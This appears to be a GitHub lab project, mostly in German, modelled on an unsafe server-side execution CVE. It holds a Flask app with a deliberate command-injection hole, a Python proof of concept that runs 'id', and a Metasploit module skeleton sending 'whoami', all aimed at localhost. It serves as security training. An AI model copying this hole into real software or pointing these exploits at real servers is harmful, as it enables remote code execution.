nulltrace1336/cve-2025-55182-metasploit-exploit-skeleton-real-flow-Unten die vollständige LAB-Planung: demo-verwundbare App → Python PoC → Metasploit Exploit-Gerüst
Wir erstellen eine Logik ähnlich wie CVE-2025-55182 (unsafe server-side execution).
📁 vuln_app/app.py
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route("/render", methods=["POST"])
def render():
data = request.json.get("component")
# ❌ VULNERABLE: user input to command execution
result = subprocess.getoutput(data)
return result
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
Ausführen:
pip install flask
python app.py
Server-seitige Eingabe → Ausführung
Dies dient nur zum Nachweis der RCE-Existenz.
📁 poc.py
import requests
url = "http://127.0.0.1:3000/render"
payload = {
"component": "id"
}
r = requests.post(url, json=payload)
print("[+] Server response:")
print(r.text)
Bei Ausgabe:
uid=1000(user) gid=1000(user)
✅ RCE BESTÄTIGT (LAB)
Dies ist ein professionelles Framework-Format, aber nicht weaponized.
📁 Speicherort
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb
📄 lab_react_like_rce.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LAB React-like Server RCE',
'Description' => %q{
Demonstration exploit for unsafe server-side execution.
Tested only in a controlled lab environment.
},
'Author' => ['Behruz'],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2025-01-01',
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, 'Vulnerable endpoint', '/render'])
])
end
def exploit
print_status("Sending lab command execution request")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => {
'component' => 'whoami'
}.to_json
})
print_good("Request sent (LAB validation only)")
end
end
Verwendung:
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run
📌 Hier:
❌ Keine Reverse Shell
✅ Framework-Know-how + Exploit-Logik vorhanden
So sollte es auf GitHub aussehen:
lab-react-like-rce/
├─ vuln_app/
│ └─ app.py
├─ poc/
│ └─ poc.py
├─ metasploit/
│ └─ lab_react_like_rce.rb
├─ README.md
## Description
This project demonstrates a lab-based server-side code execution
vulnerability inspired by modern RCE CVEs.
## Scope
- Tested only in a controlled lab environment
- No real-world systems were targeted
## Skills Demonstrated
- Vulnerability analysis
- Python PoC development
- Custom Metasploit module creation